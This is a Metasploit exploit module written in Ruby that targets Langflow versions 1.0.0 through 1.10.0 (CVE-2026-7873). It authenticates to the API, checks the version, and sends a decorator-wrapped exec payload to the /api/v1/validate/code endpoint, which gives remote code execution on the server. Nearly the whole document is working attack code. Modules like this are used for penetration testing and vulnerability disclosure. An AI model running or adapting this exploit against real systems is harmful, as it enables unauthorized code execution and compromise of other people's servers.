Langflow AI Code Validation Authenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI Code Validation Authenticated RCE',
        'Description' => %q{
          Langflow versions 1.0.0 through 1.10.0 are susceptible to authenticated remote code
          execution due to improper validation of code in the `/api/v1/validate/code` endpoint.

          Arbitrary code is executed under the context of the backend Langflow process.
        },
        'Author' => [
          'Richard Howe <rhowe425>', # Msf module
          'n0k0' # Vulnerability Discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-7873'],
          ['URL', 'https://www.ibm.com/support/pages/node/7278441']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 7860 },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-06-30',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [true, 'Base path of the Langflow application', '/']
        ),
        OptString.new(
          'USERNAME',
          [true, 'LANGFLOW USERNAME', '']
        ),
        OptString.new(
          'PASSWORD',
          [true, 'LANGFLOW PASSWORD', '']
        )
      ]
    )
  end

  def get_token(username, password)
    data = {
      'username' => username,
      'password' => password
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
      'vars_post' => data
    )

    return unless res&.code&.between?(200, 299)

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['access_token']
  end

  def check
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'api/v1/version')
      }
    )

    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document
    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

    package = doc.is_a?(Hash) ? doc['package'] : nil
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'

    begin
      version = Rex::Version.new(version_str.to_s)
    rescue StandardError
      return Exploit::CheckCode::Unknown('Failed to parse version.')
    end

    # Vulnerable version of Langflow
    if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.10.0'))
      return Exploit::CheckCode::Appears(
        "Version #{version} detected, which appears vulnerable."
      )
    end

    # Patched version of Langflow
    Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    @token = get_token(username, password)

    if @token.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
    end

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
        'headers' => {
          'Content-Type' => 'application/json',
          'Authorization' => "Bearer #{@token}"
        },
        'data' => {
          'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n    pass"
        }.to_json
      }
    )

    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
  end
end